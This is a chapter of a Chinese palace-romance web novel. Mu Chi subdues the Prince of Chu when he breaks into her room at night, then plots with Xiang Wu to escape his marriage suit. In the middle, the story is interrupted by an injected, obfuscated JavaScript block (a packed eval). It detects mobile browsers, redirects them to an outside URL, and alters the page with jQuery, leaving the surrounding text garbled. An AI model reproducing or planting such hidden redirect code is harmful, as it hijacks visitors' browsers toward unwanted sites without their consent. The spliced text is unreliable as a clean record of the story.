当晚三更时分,慕池被吵醒。听到外面窸窸窣窣,似有几人走动,眼下已经到她房门口。
慕池躺在床上睁大眼睛努力适应黑暗,平日藏在枕下的匕首终于派上用场,她屏气凝神,不敢发出响动。
一人推门而入,带着光亮,而后是关门声。
如此想必就不是鬼魂了,但不知是怎样大胆的贼人敢来送死。
慕池看到光亮越来越近。
她不住地想等会儿探进床帏的会是什么兵器,自己应该用何种招式应对。
幸而是手。
一息之间,项梧把贼人擒住,用匕首架在他脖子上,灯笼落地熄灭。
屋外人听见异常响动闯了进来,约有五六个。
“再过来我杀了他!”慕池在匕首上施力。
“都站住!”被压制的贼首忙下命令。
那些人果然听命站住,和慕池对峙。
慕池不满意,加深了力道,已经划破了他的肌肤。
“小姐,我是楚王。”
“大胆!竟敢冒充皇室。你们分明就是一伙儿贼寇!我与楚王素不相识,他为何要深夜到此?”
贼人慌忙解释:“我在万佛寺对小姐一见倾心,故而深夜到此,小姐不记得我了吗?他们是我的暗卫,小姐快快放下兵刃,莫要伤我。”
“有何凭证?”
“我身上带了令牌,小姐点亮灯烛一观便知。”
“我怎么知道这不是计策呢?点亮灯烛,我寡焉能敌众?”
“小姐你说该怎么办,我都听你的。”贼人瑟瑟发抖。
慕池见闹出这样大的动静丫鬟们还不过来,问道:“你们把院儿里的其他人怎么着了?”
慕池在灯灭之前就看到此人华服玉带,又听他声音耳熟,已有六七分信了他的话。
楚王殿下是太后幼子,当今皇上的胞弟,京城里第一等的贵人,慕池不敢多伤他。
“只是让她们吸入了迷魂香,睡一觉就醒了,不曾害命。”一暗卫道。
慕池不由得后怕,倘或这些人也对自己用了迷魂香,现在的景况该是如何。
慕池问楚王:“你带了几人?”
“六个人。”
慕池下令:“刚才说话的人卸掉其余人的胳膊。”
几人不动。
慕池换个地方加深力道,吓得楚王大喊:“快,都听她的!”
慕池听到了十声响。
“再卸了自己的胳膊。”
慕池很快听见一声响,他另一条胳膊是让同伙踢脱臼的。
“现在退出去。”
暗卫很听话,慕池也达成了目的。
她撕下床帏捆住楚王的手脚,然后穿好外衣,下床点灯。
举着灯烛,她取出他身上黄金令牌,仔细观瞧,但见纹样精美,不似凡品。
又看他容貌,果然在寺院见过。
楚王趴在床上,颇为屈辱:“小姐既然看清了,还请快快与我松绑。”
“我没见过令牌,不能辨别真假,暂且扣下当做罪证。你怎么知道我院子的位置?”
“你府上一个叫寻月的丫头,她告诉我的。”楚王出卖得很痛快,且毫无负担。
慕池知道寻月,是她院儿里的一个二等丫鬟,擅使剑器。
楚王能自由活动后,立刻下床。
“殿下深夜来此,我以为是贼人,才下如此重手,若早知是殿下,岂敢伤您呢!”
楚王对美人格外优容。
“无妨,本王不怪你。”
“多谢殿下恩典,”慕池略施一礼,“但不知殿下到此所为何事?”
“我……”楚王言语支吾,“我对小姐一见倾心,甚是思念小姐,心痒难耐,寝不安席,故而深夜造访。”
“啊!”慕池满脸惊恐,忍不住后退两步,而后羞愤难当,“殿下当我是什么人!青天白日里,当着众人,有多少面见不得?你偏要做出深夜私会这种龌龊勾当,传扬出去叫我怎么做人!”
“还不如现在就不活了,让我清清白白地死了干净!”
说话间慕池举起匕首就要抹脖。
楚王当然不忍心,慌忙去拦,夺过匕首扔在地下,道:“小姐莫要如此,都是小王的错。”
慕池躲过他的搂抱,背转身假装拭泪:“现在不是说话的时候,您回去吧。”
“小姐就不肯体谅我相思之苦吗?”
楚王油盐不进,在凳子上坐下了,看来轻易不肯走。
慕池似有动容,回身关切地问他:“您的伤口还疼吗?”
“还有些疼,看来小姐还是关心我的。”
“罢了,这原本就是我下手太重,我这里有金创药,肯定不比宫里的,还望您不嫌弃。”
“有劳小姐了。”
慕池去取药的时候听到了暗卫接胳膊的声音,这样的疼痛,难为他们一声不吭。只是不知第一条胳膊是怎么接上的,也是用腿踢的不成?
如此坚忍之士,竟被用作偷香窃玉之帮凶,何其可叹。
慕池坐在楚王旁边,用手指沾了粉末往伤处抹去,疼得他倒吸了一口凉气。
她表现出十分愧疚的样子,慌忙收回手道:“是我弄疼你了吗?我从没给人上过药,若有不对的,你千万别怪我。”
“小姐轻一点就好。”
楚王盯着慕池的眼睛,他还是第一次这么近距离看她。
“嗯。”慕池答应一声,不辨喜恶。
她又沾了粉末轻轻抹在伤口,到最后时,楚王想要拉住慕池的手,她一紧张不小心把指甲戳在伤口里。
慕池深深自责:“我真的不是故意的,我真是太笨了,什么事都做不好。”
楚王这次疼得渗出冷汗,说不出话,没空安慰她。
过了会儿,慕池问道:“你还好吧,脸色有些苍白,要不还是赶快找太医看看吧。”
楚王还是有些不甘心就这样走了。
慕池拿来镜子让他看,只见脖子上一深一浅两道拇指长短的伤口,往外渗出血,糊上的白色粉末混了脓血变成红褐色,对他来说确实可怖。
“好,今日我先回去,我已经向母后求旨,我们还会再见。”
楚王的屁股离开了凳子。
慕池送他到门口,冷眼看着这些暗卫上拽下托地送楚王翻墙出去。
她住的位置太偏,且已经暴露了,再不安全。
经过刚才那一顿闹腾,慕池不敢熄灯,也不敢上床。
只有千日捉贼,哪有千日防贼,这一晚上慕池风声鹤唳。
次日,项梧来找慕池晨练时察觉了异常。
院里的丫头们今日都格外惫懒,这个时辰了还不起来。
项梧没等到人为他通报,径自进去。
慕池的房门闭着,他敲敲,没人应。
项梧怕出什么事,顾不得许多,推门而入,往床榻走去,看到床帏被撕得破烂。
地上还有把沾血的匕首。
心中不安愈盛,他抽出架子上的宝剑。
经过妆台,蜡已燃尽。
能看到锦被下有人,但那不是慕池的身形,或者说不止她一人。
想象到的每一种可能都让他抓狂。
他握紧剑柄,目眦欲裂,正欲挑开锦被,听到衣柜里传来金属敲击声。
项梧忙回身打开柜门,他心心念念的人正在里面和衣蜷缩着,手持短斧,看上去非常疲惫。
看到她平安无事,他激动地跪下去抱紧她,轻声问道:“你怎么在这里?床上是谁?”
衣柜狭窄,慕池怕他被斧子伤到赶忙抛到一边。
“衣服。”
项梧心头的杀意暂且退去。
“发生什么了?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378352|200138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“楚王来过,我怕他折返,不敢睡。”
项梧闻言,把她从衣柜里解救出来,打横抱起往外走。
“去哪儿?”慕池腿麻了,只得揽住他。
“换个地方睡觉。他没伤到你吧,我看匕首上有血。”
“是我伤了他。还好他轻敌没对我用迷魂香,那是什么东西,你知道吗?”
“江湖上一种下三滥的迷药,多为贼人谋财害命时所用。”
“若是清醒着,不慎吸入会立即昏迷吗?”
项梧摇头:“没有那么强的功效。”
“还有其他能让人不清醒的药吗?”
慕池这次险些吃大亏,她势必要做好准备,防止楚王再用这样的手段。
“我不太清楚。你若想知道,我让人仔细查查。”
慕池表示理解,项梧又不是楚王那样的卑鄙小人,他肯定不知道这些事。
“如果能够买到这些药就更好了。”
项梧警惕地问道:“你想做什么?”
“若是对身体无害,我自己先试试。”
“不可,你不能试!”
“你放心,我会注意剂量。我自己提前试过总好过被别人害。”
“那我来试,我告诉你感觉可以吗?”
慕池心意已决:“不一样,你若有时间可以过来看着我,我不会伤害自己的。对了,先把寻月关起来。”
“好。”项梧没有多问。
“我袖子里藏了他的令牌,你辨一下真假,看它日后能派上什么用场。还有,这件事别闹大,我不想把自己赔给他。”
他的怀抱让慕池格外安心,心头的戒备和害怕逐渐烟消云散。
慕池再醒来时已经是下午了。
睁眼看到是陌生的地方,她吓了一跳,随即反应过来这是项梧的卧房。
青霜守在门外,听见响动立马进来。
她“扑通”一下跪在床边,道:“小姐,我对不住你。”
“快起来。”慕池的声音有些哑。
青霜把枕头叠放让她倚靠,倒了温水递过去。
“府上没人出事吧?”
慕池发现了一个香囊,正是绣了丑丑的兰草的那个,她在手里翻看,并没有污渍。
青霜摇摇头:“没有,只是大家好像中了迷药,才睡得那么死。”
“对,所以你不要自责,咱们毕竟没见过这种手段。”
“侯爷临走前交代不要打扰小姐,并吩咐把之前院子里的您的衣饰都搬到栖霞阁,其余陈设之类全都换了不一样的,现在已经收拾妥当了。”
栖霞阁距项梧的枕云轩很近,位于侯府中心,想要闯进来不容易。
难为他细心,还改了陈设避免她回忆起昨夜之事。
慕池只说了一句“在这睡不着”,项梧就能深解她意,不愧是青梅竹马。
昨晚楚王说曾向太后求旨,宫中向来谨慎,至少得见一面才能决断。
在旨意到来前,要么拒绝楚王并劝退他,要么先嫁他人,方可解除此难。
虽然楚王身份尊贵,但慕池观其言行,认为他就是一个酒色之徒,绝不能够成就大事,不可以托付终身。
昨夜他甚是痴缠,怎会轻易放弃,慕池想想就头疼。
“小姐,宣国公府上送来乐陵县主的请帖,请您过目。来人说当天太后娘娘会亲至。”
慕池接过,发现时间就在三日后。
乐陵县主是当今太后娘娘的侄孙女、安贵妃娘娘的侄女,因聪明灵慧深得太后喜爱,十五岁时被封为县主,虽另有府邸,但现在仍在宣国公府上居住。
慕池对县主早有耳闻,这几年她常常设宴请公子小姐们写诗作文,颇受文人才子推崇。
赏花宴上,该怎么被太后娘娘讨厌呢?
慕池想到了个主意,正好可以一箭双雕。